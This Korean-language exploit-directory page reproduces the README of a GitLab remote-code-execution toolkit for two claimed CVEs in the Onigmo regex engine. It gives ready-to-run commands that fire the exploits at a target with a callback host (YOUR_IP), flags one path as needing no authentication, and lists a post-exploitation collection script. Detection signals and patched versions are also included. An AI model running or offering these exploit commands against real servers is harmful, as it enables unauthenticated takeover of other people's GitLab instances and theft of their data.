Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
gitlab-rce-toolkit — CVE-2026-97229 + CVE-2026-110264 — GitLab Onigmo RCE 익스플로잇 툴킷 (CVSS 10.0) | Kitploit
도구/GitHubGitHub/murat-levi/gitlab-rce-toolkit
Vulnerability AnalysisExploitationWeb Application ExploitationPost-ExploitationPenetration TestingRemote Access ToolPayload DevelopmentLabs & Practice
GitHubmurat-levi/gitlab-rce-toolkit

gitlab-rce-toolkit

CVE-2026-97229 + CVE-2026-110264 — GitLab Onigmo RCE 익스플로잇 툴킷 (CVSS 10.0)

저장소 보기
426일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

GitLab Onigmo RCE 익스플로잇 툴킷

CVE-2026-97229 + CVE-2026-110264 — Onigmo 정규식 엔진 정수 오버플로를 통한 GitLab CE/EE의 두 가지 치명적(CVSS 10.0) 비인증 RCE 취약점.

승인된 테스트 전용. 모든 대상은 본인 소유이거나 서면 승인을 받은 것이어야 합니다.

취약점

CVE벡터영향 범위트리거인증 필요 여부
CVE-2026-97229CI/CD 정규식 컴파일러19.2.0–19.4.1GET /api/v4/projects/:id/ci/lint비인증 트리거 (설정에는 쓰기 권한 필요)
CVE-2026-110264Org-mode .org 렌더링7.0–19.5.0조작된 .org 파일 렌더링계정 불필요

아키텍처

두 CVE 모두 동일한 근본 원인을 악용합니다: Onigmo 정규식 엔진 정수 오버플로 → OOB 쓰기 → VM 하이재킹 → system(). 차이점은 전달 경로입니다:

  • CVE-2026-97229: .gitlab-ci.yml의 rules:exists:regexp에 악성 정규식 삽입 → CI lint API
  • CVE-2026-110264: .org 파일의 악성 #+TODO: 키워드 → Org-mode 렌더러

빠른 시작

# CVE-2026-97229 — CI lint 경로
python3 exploit/cve97229.py --url http://target:8080 \
    --token glpat-xxx --callback-host YOUR_IP \
    --command 'id; hostname' --authorized --scope scope.txt

# CVE-2026-110264 — Org-mode 경로 (인증 불필요!)
python3 exploit/cve110264.py --url http://target:8080 \
    --callback-host YOUR_IP --command 'id'

# 탐지만 수행 (익스플로잇 없음)
python3 exploit/cve97229.py --url http://target --probe-only
python3 exploit/cve110264.py --url http://target --probe-only

프로젝트 구조

exploit/
├── cve97229.py       # CI lint 정규식 RCE (CVE-2026-97229)
├── cve110264.py      # Org-mode 렌더링 RCE (CVE-2026-110264)
├── layout.py         # libruby.so 오프셋 도출
├── common.py         # 공용 Onigmo 페이로드 + 콜백 서버
└── post/
    └── collect.sh    # 침투 후 정보 수집
lab/
├── run.sh            # Docker 랩 실행기
└── stop.sh           # 랩 정리
docs/
├── CVE-2026-97229.md # 기술 분석
└── CVE-2026-110264.md # 기술 분석

탐지

두 CVE 모두에 대한 삼중 신호:

  1. Puma 워커 크래시: org-ruby 또는 regexp_matcher.rb 프레임과 함께 [BUG] Segmentation fault
  2. Workhorse 502: badgateway: failed to receive response: EOF
  3. Git 콘텐츠: (?#) 분할 수량자, [[:word:]] 반복, 4바이트 UTF-8 경로

수정된 버전

CVE수정 버전
CVE-2026-9722919.2.8, 19.3.5, 19.4.2
CVE-2026-11026418.11.13, 19.0.10, 19.1.9, 19.2.9, 19.3.6, 19.4.3, 19.5.1

크레딧

  • joaxcar — CVE-2026-97229 최초 발견 (HackerOne)
  • Rapid7 (Jonah Burgess) — CVE-2026-97229 기술 분석 및 독립 PoC
  • gandli — CVE-2026-97229 랩 프레임워크 참고
  • GitLab Security — 탐지 규칙 및 권고문
  • CVE-2026-110264 익스플로잇 기법은 GitLab이 공개한 탐지 노트에서 도출됨

라이선스

MIT — 승인된 보안 테스트 전용.

도구 다운로드